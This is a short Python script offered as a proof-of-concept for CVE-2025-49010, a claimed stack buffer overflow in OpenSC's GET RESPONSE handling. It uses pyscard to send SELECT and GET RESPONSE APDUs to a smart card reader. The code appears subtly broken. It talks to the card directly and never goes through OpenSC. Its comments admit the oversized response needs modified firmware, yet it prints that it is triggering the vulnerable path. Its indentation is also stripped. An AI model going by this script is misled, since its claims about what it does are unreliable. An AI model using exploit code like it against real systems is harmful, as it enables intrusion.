# PoC Concept for CVE-2025-49010
# This demonstrates the logic of sending crafted APDUs.
# Requires a smart card reader and a device that can be manipulated.
from smartcard.System import readers
from smartcard.util import toHexString, toBytes
def trigger_overflow():
"""
Simulate sending a crafted APDU response to trigger
the stack buffer overflow in OpenSC < 0.27.0.
"""
reader_list = readers()
if not reader_list:
print("No smart card readers found.")
return
# Connect to the first available reader
reader = reader_list[0]
print(f"Using reader: {reader}")
try:
connection = reader.createConnection()
connection.connect()
# 1. Standard APDU to select an applet or initialize communication
# GET DATA or SELECT FILE command
apdu_select = [0x00, 0xA4, 0x04, 0x00, 0x0A, 0xA0, 0x00, 0x00, 0x00, 0x62, 0x03, 0x01, 0x0C, 0x06, 0x01]
data, sw1, sw2 = connection.transmit(apdu_select)
print(f"Select Response: {toHexString(data)} SW: {sw1:02X} {sw2:02X}")
# 2. Crafted APDU to trigger the overflow in GET RESPONSE handling
# The vulnerability occurs when the response to a command is too large
# for the stack-allocated buffer in OpenSC.
# We send a command that expects a response, but the card/reader
# will respond with a payload larger than the buffer (e.g., > 256 bytes).
# Note: In a real exploit, the USB/Smartcard device firmware would be
# modified to return this oversized buffer. Here we attempt to request
# data or interact in a way that exposes the lack of bounds checking.
# Example command requesting data
apdu_get_response = [0x00, 0xC0, 0x00, 0x00]
# In a controlled exploit environment, the device would now return
# a buffer of size N (e.g., 300 bytes) causing the overflow.
print("Sending command that triggers vulnerable GET RESPONSE path...")
data, sw1, sw2 = connection.transmit(apdu_get_response)
print(f"Exploit Response: {toHexString(data)} SW: {sw1:02X} {sw2:02X}")
if sw1 == 0x61:
print("Warning: More data available (standard behavior), but buffer handling may be vulnerable.")
except Exception as e:
print(f"An error occurred: {e}")
if __name__ == "__main__":
trigger_overflow()